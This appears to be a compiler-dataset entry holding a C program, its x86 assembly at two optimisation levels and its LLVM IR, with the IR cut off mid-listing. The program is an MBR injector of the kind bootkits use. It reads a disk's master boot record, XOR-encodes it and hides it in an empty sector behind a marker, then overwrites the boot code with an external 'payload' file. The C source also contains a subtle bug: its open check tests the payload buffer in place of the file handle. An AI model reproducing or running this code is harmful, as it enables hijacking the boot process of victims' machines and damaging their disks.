#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int fread(char **, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ fseek(int /*<<< orphan*/ *, unsigned int,
                         int /*<<< orphan*/);
int ftell(int /*<<< orphan*/ *);
int /*<<< orphan*/ fwrite(char **, int, int, int /*<<< orphan*/ *);
scalar_t__ memcmp(char *, char *, int);
int /*<<< orphan*/ memcpy(char *, char *, int);
int /*<<< orphan*/ printf(char *, ...);
int strlen(char *);
int main(int argc, char *argv[]) {
  FILE *fp;
  FILE *payloadfp;
  char mbr[512];
  char readbuf[512];
  char payload[0x1B8];
  int payloadlen;
  unsigned int newMBROffset;
  if (argc != 2) {
    printf("Usage: '%s DEVICE'\n", argv[0]);
    return 1;
  }
  printf("Injecting to %s\n", argv[1]);
  fp = fopen(argv[1], "r+");
  if (fp == NULL) {
    printf(
        "Could not open %s for read/write. Are you sure you have permission?\n",
        argv[1]);
    return 1;
  }
  fread(&mbr, 512, 1, fp);
  if (memcmp(&mbr[0x1FE], "\x55\xAA", 2)) {
    printf("Could not find boot signature. Aborting!\n");
    fclose(fp);
    return 1;
  }
  if (mbr[0] != '\xEB') {
    printf("No bootcode detected. Aborting!\n");
    fclose(fp);
    return 1;
  }
  char isUsed = 1;
  while (isUsed) {
    fread(&readbuf, 512, 1, fp);
    for (int i = isUsed = 0; i < 512; isUsed |= readbuf[i++])
      ;
  }
  newMBROffset = ftell(fp) - 512;
  printf("Empty sector found at offset 0x%08x. Copying original MBR.\n",
         newMBROffset);
  for (int i = 0; i < 512; i++)
    mbr[i] ^= 0xA6;
  memcpy(&mbr[512 - strlen("\x13\x37\xd0\x0d")], "\x13\x37\xd0\x0d",
         strlen("\x13\x37\xd0\x0d"));
  fseek(fp, newMBROffset, SEEK_SET);
  fwrite(&mbr, 512, 1, fp);
  payloadfp = fopen("payload", "r");
  if (payload == NULL) {
    printf("Failed opening payload file.\n");
    fclose(fp);
    return 1;
  }
  if ((payloadlen = fread(&payload, 1, 0x1B8, payloadfp)) == 0x1B8) {
    printf("Payload too long!\n");
    fclose(fp);
    fclose(payloadfp);
    return 1;
  }
  fseek(fp, 0, SEEK_SET);
  fwrite(&payload, 1, payloadlen, fp);
  printf("Done writing payload!\n");
  fclose(fp);
  fclose(payloadfp);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x600,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x2,-0x8(%rbp)
je     11e4 <main+0x44>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xe2f(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1512 <main+0x372>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
lea    0xe21(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xe1c(%rip),%rsi
call   10b0 <fopen@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
jne    123f <main+0x9f>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
lea    0xdfc(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1512 <main+0x372>
lea    -0x220(%rbp),%rdi
mov    -0x18(%rbp),%rcx
mov    $0x200,%esi
mov    $0x1,%edx
call   1030 <fread@plt>
lea    -0x220(%rbp),%rdi
add    $0x1fe,%rdi
lea    0xdff(%rip),%rsi
mov    $0x2,%edx
call   1070 <memcmp@plt>
cmp    $0x0,%rax
je     12a5 <main+0x105>
lea    0xde7(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x18(%rbp),%rdi
call   1040 <fclose@plt>
movl   $0x1,-0x4(%rbp)
jmp    1512 <main+0x372>
movsbl -0x220(%rbp),%eax
cmp    $0xffffffeb,%eax
je     12d8 <main+0x138>
lea    0xdde(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x18(%rbp),%rdi
call   1040 <fclose@plt>
movl   $0x1,-0x4(%rbp)
jmp    1512 <main+0x372>
movb   $0x1,-0x5e9(%rbp)
cmpb   $0x0,-0x5e9(%rbp)
je     1360 <main+0x1c0>
lea    -0x420(%rbp),%rdi
mov    -0x18(%rbp),%rcx
mov    $0x200,%esi
mov    $0x1,%edx
call   1030 <fread@plt>
movb   $0x0,-0x5e9(%rbp)
movl   $0x0,-0x5f0(%rbp)
cmpl   $0x200,-0x5f0(%rbp)
jge    135b <main+0x1bb>
jmp    132c <main+0x18c>
mov    -0x5f0(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x5f0(%rbp)
cltq
movsbl -0x420(%rbp,%rax,1),%ecx
ff
movsbl -0x5e9(%rbp),%eax
or     %ecx,%eax
mov    %al,-0x5e9(%rbp)
jmp    1317 <main+0x177>
jmp    12df <main+0x13f>
mov    -0x18(%rbp),%rdi
call   1080 <ftell@plt>
sub    $0x200,%eax
mov    %eax,-0x5e8(%rbp)
mov    -0x5e8(%rbp),%esi
lea    0xd3a(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x0,-0x5f4(%rbp)
cmpl   $0x200,-0x5f4(%rbp)
jge    13d2 <main+0x232>
movslq -0x5f4(%rbp),%rax
movsbl -0x220(%rbp,%rax,1),%ecx
ff
xor    $0xa6,%ecx
mov    %cl,-0x220(%rbp,%rax,1)
mov    -0x5f4(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5f4(%rbp)
jmp    1392 <main+0x1f2>
lea    0xd1e(%rip),%rdi
call   1050 <strlen@plt>
mov    %eax,%ecx
mov    $0x200,%eax
sub    %ecx,%eax
movslq %eax,%rcx
lea    -0x220(%rbp),%rax
add    %rcx,%rax
mov    %rax,-0x600(%rbp)
lea    0xcf5(%rip),%rdi
call   1050 <strlen@plt>
mov    -0x600(%rbp),%rdi
mov    %eax,%edx
lea    0xce0(%rip),%rsi
call   1090 <memcpy@plt>
mov    -0x18(%rbp),%rdi
mov    -0x5e8(%rbp),%esi
mov    0x2bb3(%rip),%rax
mov    (%rax),%edx
call   10a0 <fseek@plt>
lea    -0x220(%rbp),%rdi
mov    -0x18(%rbp),%rcx
mov    $0x200,%esi
mov    $0x1,%edx
call   10c0 <fwrite@plt>
lea    0xca7(%rip),%rdi
lea    0xca8(%rip),%rsi
call   10b0 <fopen@plt>
mov    %rax,-0x20(%rbp)
lea    -0x5e0(%rbp),%rdi
mov    -0x20(%rbp),%rcx
mov    $0x1,%esi
mov    $0x1b8,%edx
call   1030 <fread@plt>
mov    %eax,-0x5e4(%rbp)
cmp    $0x1b8,%eax
jne    14bc <main+0x31c>
lea    0xc6f(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x18(%rbp),%rdi
call   1040 <fclose@plt>
mov    -0x20(%rbp),%rdi
call   1040 <fclose@plt>
movl   $0x1,-0x4(%rbp)
jmp    1512 <main+0x372>
mov    -0x18(%rbp),%rdi
mov    0x2b19(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   10a0 <fseek@plt>
lea    -0x5e0(%rbp),%rdi
mov    -0x5e4(%rbp),%edx
mov    -0x18(%rbp),%rcx
mov    $0x1,%esi
call   10c0 <fwrite@plt>
lea    0xc27(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x18(%rbp),%rdi
call   1040 <fclose@plt>
mov    -0x20(%rbp),%rdi
call   1040 <fclose@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x600,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x5c0,%rsp
mov    %rsi,%rbp
cmp    $0x2,%edi
jne    1235 <main+0x85>
mov    0x8(%rbp),%rsi
lea    0xe62(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    0x8(%rbp),%rdi
lea    0xe61(%rip),%rsi
call   10c0 <fopen@plt>
test   %rax,%rax
je     1242 <main+0x92>
mov    %rax,%rbx
mov    %rsp,%rdi
mov    $0x1,%ebp
mov    $0x200,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1040 <fread@plt>
lea    0x1fe(%rsp),%rdi
lea    0xe73(%rip),%rsi
mov    $0x2,%edx
call   1080 <memcmp@plt>
test   %rax,%rax
je     125e <main+0xae>
lea    0xef3(%rip),%rdi
jmp    16cb <main+0x51b>
mov    0x0(%rbp),%rsi
lea    0xde0(%rip),%rdi
jmp    124d <main+0x9d>
mov    0x8(%rbp),%rsi
lea    0xdfb(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    $0x1,%ebp
jmp    16d8 <main+0x528>
cmpb   $0xeb,(%rsp)
jne    16c4 <main+0x514>
lea    0x200(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x200,%esi
mov    $0x1,%edx
mov    %rbx,%rcx
call   1040 <fread@plt>
movdqa 0x220(%rsp),%xmm1
movdqa 0x230(%rsp),%xmm0
por    0x200(%rsp),%xmm1
por    0x210(%rsp),%xmm0
por    0x240(%rsp),%xmm1
por    0x250(%rsp),%xmm0
por    0x260(%rsp),%xmm1
por    0x270(%rsp),%xmm0
por    0x280(%rsp),%xmm1
por    0x290(%rsp),%xmm0
por    0x2a0(%rsp),%xmm1
por    0x2b0(%rsp),%xmm0
por    0x2c0(%rsp),%xmm1
por    0x2d0(%rsp),%xmm0
por    0x2e0(%rsp),%xmm1
por    0x2f0(%rsp),%xmm0
por    0x300(%rsp),%xmm1
por    0x310(%rsp),%xmm0
por    0x320(%rsp),%xmm1
por    0x330(%rsp),%xmm0
por    0x340(%rsp),%xmm1
por    0x350(%rsp),%xmm0
por    0x360(%rsp),%xmm1
por    0x370(%rsp),%xmm0
por    0x380(%rsp),%xmm1
por    0x390(%rsp),%xmm0
por    0x3a0(%rsp),%xmm1
por    0x3b0(%rsp),%xmm0
por    0x3c0(%rsp),%xmm1
por    0x3d0(%rsp),%xmm0
por    0x3e0(%rsp),%xmm1
por    0x3f0(%rsp),%xmm0
por    %xmm1,%xmm0
pcmpeqb 0xc5f(%rip),%xmm0
pmovmskb %xmm0,%eax
cmp    $0xffff,%eax
jne    1270 <main+0xc0>
mov    %rbx,%rdi
call   1090 <ftell@plt>
lea    -0x200(%rax),%r14d
lea    0xcba(%rip),%rdi
mov    %r14d,%esi
xor    %eax,%eax
call   1070 <printf@plt>
movaps 0xc19(%rip),%xmm0
movaps (%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x10(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,(%rsp)
movaps %xmm2,0x10(%rsp)
movaps 0x20(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x30(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x20(%rsp)
movaps %xmm2,0x30(%rsp)
movaps 0x40(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x50(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x40(%rsp)
movaps %xmm2,0x50(%rsp)
movaps 0x60(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x70(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x60(%rsp)
movaps %xmm2,0x70(%rsp)
movaps 0x80(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x90(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x80(%rsp)
movaps %xmm2,0x90(%rsp)
movaps 0xa0(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0xb0(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0xa0(%rsp)
movaps %xmm2,0xb0(%rsp)
movaps 0xc0(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0xd0(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0xc0(%rsp)
movaps %xmm2,0xd0(%rsp)
movaps 0xe0(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0xf0(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0xe0(%rsp)
movaps %xmm2,0xf0(%rsp)
movaps 0x100(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x110(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x100(%rsp)
movaps %xmm2,0x110(%rsp)
movaps 0x120(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x130(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x120(%rsp)
movaps %xmm2,0x130(%rsp)
movaps 0x140(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x150(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x140(%rsp)
movaps %xmm2,0x150(%rsp)
movaps 0x160(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x170(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x160(%rsp)
movaps %xmm2,0x170(%rsp)
movaps 0x180(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x190(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x180(%rsp)
movaps %xmm2,0x190(%rsp)
movaps 0x1a0(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x1b0(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x1a0(%rsp)
movaps %xmm2,0x1b0(%rsp)
movaps 0x1c0(%rsp),%xmm1
xorps  %xmm0,%xmm1
movaps 0x1d0(%rsp),%xmm2
xorps  %xmm0,%xmm2
movaps %xmm1,0x1c0(%rsp)
movaps %xmm2,0x1d0(%rsp)
movaps 0x1e0(%rsp),%xmm1
xorps  %xmm0,%xmm1
xorps  0x1f0(%rsp),%xmm0
movaps %xmm1,0x1e0(%rsp)
movaps %xmm0,0x1f0(%rsp)
lea    0xab3(%rip),%r15
mov    %r15,%rdi
call   1060 <strlen@plt>
mov    $0x200,%ecx
sub    %eax,%ecx
movslq %ecx,%rax
lea    (%rsp,%rax,1),%rbp
mov    %r15,%rdi
call   1060 <strlen@plt>
mov    %rbp,%rdi
mov    %r15,%rsi
mov    %eax,%edx
call   10a0 <memcpy@plt>
mov    0x2995(%rip),%r12
mov    (%r12),%edx
mov    %rbx,%rdi
mov    %r14d,%esi
call   10b0 <fseek@plt>
mov    %rsp,%rdi
mov    $0x1,%ebp
mov    $0x200,%esi
mov    $0x1,%edx
mov    %rbx,%rcx
call   10d0 <fwrite@plt>
lea    0xa56(%rip),%rdi
lea    0xa57(%rip),%rsi
call   10c0 <fopen@plt>
mov    %rax,%r14
lea    0x400(%rsp),%rdi
mov    $0x1,%esi
mov    $0x1b8,%edx
mov    %rax,%rcx
call   1040 <fread@plt>
cmp    $0x1b8,%eax
jne    16ea <main+0x53a>
lea    0xa3f(%rip),%rdi
call   1030 <puts@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
mov    %r14,%rdi
jmp    16d3 <main+0x523>
lea    0xa38(%rip),%rdi
call   1030 <puts@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
mov    %ebp,%eax
add    $0x5c0,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %eax,%r15d
mov    (%r12),%edx
mov    %rbx,%rdi
xor    %esi,%esi
call   10b0 <fseek@plt>
lea    0x400(%rsp),%rdi
mov    $0x1,%esi
mov    %r15d,%edx
mov    %rbx,%rcx
call   10d0 <fwrite@plt>
lea    0x9c1(%rip),%rdi
call   1030 <puts@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
mov    %r14,%rdi
call   1050 <fclose@plt>
xor    %ebp,%ebp
jmp    16d8 <main+0x528>

LLVM IR (-O0):
@.str = [20 x i8] c"Usage: '%s DEVICE'\0A\00"
@.str.1 = [17 x i8] c"Injecting to %s\0A\00"
@.str.2 = [3 x i8] c"r+\00"
@.str.3 = [69 x i8] c"Could not open %s for read/write. Are you sure you have permission?\0A\00"
@.str.4 = [3 x i8] c"U\AA\00"
@.str.5 = [42 x i8] c"Could not find boot signature. Aborting!\0A\00"
@.str.6 = [33 x i8] c"No bootcode detected. Aborting!\0A\00"
@.str.7 = [60 x i8] c"Empty sector found at offset 0x%08x. Copying original MBR.\0A\00"
@.str.8 = [5 x i8] c"\137\D0\0D\00"
@SEEK_SET = global i32 0
@.str.9 = [8 x i8] c"payload\00"
@.str.10 = [2 x i8] c"r\00"
@.str.11 = [19 x i8] c"Payload too long!\0A\00"
@.str.12 = [23 x i8] c"Done writing payload!\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32*
%7 = alloca i32*
%8 = alloca [512 x i8]
%9 = alloca [512 x i8]
%10 = alloca [440 x i8]
%11 = alloca i32
%12 = alloca i32
%13 = alloca i8
%14 = alloca i32
%15 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%16 = load i32, i32* %4
%17 = icmp ne i32 %16, 2
br i1 %17, label %18, label %23
18: ; preds = %2
%19 = load i8**, i8*** %5
%20 = getelementptr inbounds i8*, i8** %19, i64 0
%21 = load i8*, i8** %20
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0), i8* %21)
store i32 1, i32* %3
br label %141
23: ; preds = %2
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 1
%26 = load i8*, i8** %25
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0), i8* %26)
%28 = load i8**, i8*** %5
%29 = getelementptr inbounds i8*, i8** %28, i64 1
%30 = load i8*, i8** %29
%31 = call i32* @fopen(i8* %30, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
store i32* %31, i32** %6
%32 = load i32*, i32** %6
%33 = icmp eq i32* %32, null
br i1 %33, label %34, label %39
34: ; preds = %23
%35 = load i8**, i8*** %5
%36 = getelementptr inbounds i8*, i8** %35, i64 1
%37 = load i8*, i8** %36
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([69 x i8], [69 x i8]* @.str.3, i64 0, i64 0), i8* %37)
store i32 1, i32* %3
br label %141
39: ; preds = %23
%40 = bitcast [512 x i8]* %8 to i8**
%41 = load i32*, i32** %6
%42 = call i32 @fread(i8** %40, i32 512, i32 1, i32* %41)
%43 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 510
%44 = call i64 @memcmp(i8* %43, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i32 2)
%45 = icmp ne i64 %44, 0
br i1 %45, label %46, label %50
46: ; preds = %39
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([42 x i8], [42 x i8]* @.str.5, i64 0, i64 0))
%48 = load i32*, i32** %6
%49 = call i32 @fclose(i32* %48)
store i32 1, i32* %3
br label %141
50: ; preds = %39
%51 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 0
%52 = load i8, i8* %51
%53 = sext i8 %52 to i32
%54 = icmp ne i32 %53, -21
br i1 %54, label %55, label %59
55: ; preds = %50
%56 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.6, i64 0, i64 0))
%57 = load i32*, i32** %6
%58 = call i32 @fclose(i32* %57)
store i32 1, i32* %3
br label %141
59: ; preds = %50
store i8 1, i8* %13
br label %60
60: ; preds = %82, %59
%61 = load i8, i8* %13
%62 = icmp ne i8 %61, 0
br i1 %62, label %63, label %83
63: ; preds = %60
%64 = bitcast [512 x i8]* %9 to i8**
%65 = load i32*, i32** %6
%66 = call i32 @fread(i8** %64, i32 512, i32 1, i32* %65)
store i8 0, i8* %13
store i32 0, i32* %14
br label %67
67: ; preds = %71, %63
%68 = load i32, i32* %14
%69 = icmp slt i32 %68, 512
br i1 %69, label %70, label %82
70: ; preds = %67
br label %71
71: ; preds = %70
%72 = load i32, i32* %14
%73 = add nsw i32 %72, 1
store i32 %73, i32* %14
%74 = sext i32 %72 to i64
%75 = getelementptr inbounds [512 x i8], [512 x i8]* %9, i64 0, i64 %74
%76 = load i8, i8* %75
%77 = sext i8 %76 to i32
%78 = load i8, i8* %13
%79 = sext i8 %78 to i32
%80 = or i32 %79, %77
%81 = trunc i32 %80 to i8
store i8 %81, i8* %13
br label %67
82: ; preds = %67
br label %60
83: ; preds = %60
%84 = load i32*, i32** %6
%85 = call i32 @ftell(i32* %84)
%86 = sub nsw i32 %85, 512
store i32 %86, i32* %12
%87 = load i32, i32* %12
%88 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([60 x i8], [60 x i8]* @.str.7, i64 0, i64 0), i32 %87)
store i32 0, i32* %15
br label %89
89: ; preds = %100, %83
%90 = load i32, i32* %15
%91 = icmp slt i32 %90, 512
br i1 %91, label %92, label %103
92: ; preds = %89
%93 = load i32, i32* %15
%94 = sext i32 %93 to i64
%95 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 %94
%96 = load i8, i8* %95
%97 = sext i8 %96 to i32
%98 = xor i32 %97, 166
%99 = trunc i32 %98 to i8
store i8 %99, i8* %95
br label %100
100: ; preds = %92
%101 = load i32, i32* %15
%102 = add nsw i32 %101, 1
store i32 %102, i32* %15
br label %89
103: ; preds = %89
%104 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%105 = sub nsw i32 512, %104
%106 = sext i32 %105 to i64
%107 = getelementptr inbounds [512 x i8], [512 x i8]* %8, i64 0, i64 %106
%108 = call i32 @strlen(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%109 = call i32 @memcpy(i8* %107, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0), i32 %108)
%110 = load i32*, i32** %6
%111 = load i32, i32* %12
%112 = load i32, i32* @SEEK_SET
%113 = call i32 @fseek(i32* %110, i32 %111, i32 %112)
%114 = bitcast [512 x i8]* %8 to i8**
%115 = load i32*, i32** %6
%116 = call i32 @fwrite(i8** %114, i32 512, i32 1, i32* %115)
%117 = call i32* @fopen(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.10, i64 0, i64 0))
store i32* %117, i32** %7
%118 = bitcast [440 x i8]* %10 to i8**
%119 = load i32*, i32** %7
%120 = call i32 @fread(i8** %118, i32 1, i32 440, i32* %119)
store i32 %120, i32* %11
%121 = icmp eq i32 %120, 440
br i1 %121, label %122, label %128
122: ; preds = %103
%123 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.11, i64 0, i64 0))
%124 = load i32*, i32** %6
%125 = call i32 @fclose(i32* %124)
%126 = load i32*, i32** %7
%127 = call i32 @fclose(i32* %126)
store i32 1, i32* %3
br label %141
128: ; preds = %103
%129 = load i32*, i32** %6
%130 = load i32, i32* @SEEK_SET
%131 = call i32 @fseek(i32* %129, i32 0, i32 %130)
%132 = bitcast [440 x i8]* %10 to i8**
%133 = load i32, i32* %11
%134 = load i32*, i32** %6
%135 = call i32 @fwrite(i8** %132, i32 1, i32 %133, i32* %134)
%136 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.12, i64 0, i64 0))
%137 = load i32*, i32** %6
%138 = call i32 @fclose(i32* %137)
%139 = load i32*, i32** %7
%140 = call i32 @fclose(i32* %139)
store i32 0, i32* %3
br label %141
141: ; preds = %128, %122, %55, %46, %34, %18
%142 = load i32, i32* %3
ret i32 %142
}

LLVM IR (-O2):
@.str = [20 x i8] c"Usage: '%s DEVICE'\0A\00"
@.str.1 = [17 x i8] c"Injecting to %s\0A\00"
@.str.2 = [3 x i8] c"r+\00"
@.str.3 = [69 x i8] c"Could not open %s for read/write. Are you sure you have permission?\0A\00"
@.str.4 = [3 x i8] c"U\AA\00"
@.str.7 = [60 x i8] c"Empty sector found at offset 0x%08x. Copying original MBR.\0A\00"
@.str.8 = [5 x i8] c"\137\D0\0D\00"
@SEEK_SET = global i32 0
@.str.9 = [8 x i8] c"payload\00"
@.str.10 = [2 x i8] c"r\00"
@str = [22 x i8] c"Done writing payload!\00"
@str.13 = [18 x i8] c"Payload too long!\00"
@str.14 = [32 x i8] c"No bootcode detected. Aborting!\00"
@str.15 = [41 x i8] c"Could not find boot signature. Aborting!\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [512 x i8]
%4 = alloca [512 x i8]
%5 = alloca [440 x i8]
%6 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 0
%7 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 0
%8 = getelementptr inbounds [440 x i8], [440 x i8]* %5, i64 0, i64 0
%9 = icmp eq i32 %0, 2
br i1 %9, label %13, label %10
10: ; preds = %2
%11 = load i8*, i8** %1
%12 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0), i8* %11)
br label %357
13: ; preds = %2
%14 = getelementptr inbounds i8*, i8** %1, i64 1
%15 = load i8*, i8** %14
%16 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0), i8* %15)
%17 = load i8*, i8** %14
%18 = tail call i32* @fopen(i8* %17, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
%19 = icmp eq i32* %18, null
br i1 %19, label %20, label %23
20: ; preds = %13
%21 = load i8*, i8** %14
%22 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([69 x i8], [69 x i8]* @.str.3, i64 0, i64 0), i8* %21)
br label %357
23: ; preds = %13
%24 = bitcast [512 x i8]* %3 to i8**
%25 = call i32 @fread(i8** %24, i32 512, i32 1, i32* %18)
%26 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 510
%27 = call i64 @memcmp(i8* %26, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0), i32 2)
%28 = icmp eq i64 %27, 0
br i1 %28, label %32, label %29
29: ; preds = %23
%30 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([41 x i8], [41 x i8]* @str.15, i64 0, i64 0))
%31 = call i32 @fclose(i32* %18)
br label %357
32: ; preds = %23
%33 = load i8, i8* %6
%34 = icmp eq i8 %33, -21
br i1 %34, label %35, label %100
35: ; preds = %32
%36 = bitcast [512 x i8]* %4 to i8**
%37 = bitcast [512 x i8]* %4 to <16 x i8>*
%38 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 16
%39 = bitcast i8* %38 to <16 x i8>*
%40 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 32
%41 = bitcast i8* %40 to <16 x i8>*
%42 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 48
%43 = bitcast i8* %42 to <16 x i8>*
%44 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 64
%45 = bitcast i8* %44 to <16 x i8>*
%46 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 80
%47 = bitcast i8* %46 to <16 x i8>*
%48 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 96
%49 = bitcast i8* %48 to <16 x i8>*
%50 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 112
%51 = bitcast i8* %50 to <16 x i8>*
%52 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 128
%53 = bitcast i8* %52 to <16 x i8>*
%54 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 144
%55 = bitcast i8* %54 to <16 x i8>*
%56 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 160
%57 = bitcast i8* %56 to <16 x i8>*
%58 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 176
%59 = bitcast i8* %58 to <16 x i8>*
%60 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 192
%61 = bitcast i8* %60 to <16 x i8>*
%62 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 208
%63 = bitcast i8* %62 to <16 x i8>*
%64 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 224
%65 = bitcast i8* %64 to <16 x i8>*
%66 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 240
%67 = bitcast i8* %66 to <16 x i8>*
%68 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 256
%69 = bitcast i8* %68 to <16 x i8>*
%70 = getelementptr inbounds [512 x i8], [512 x i8]* %4, i64 0, i64 272
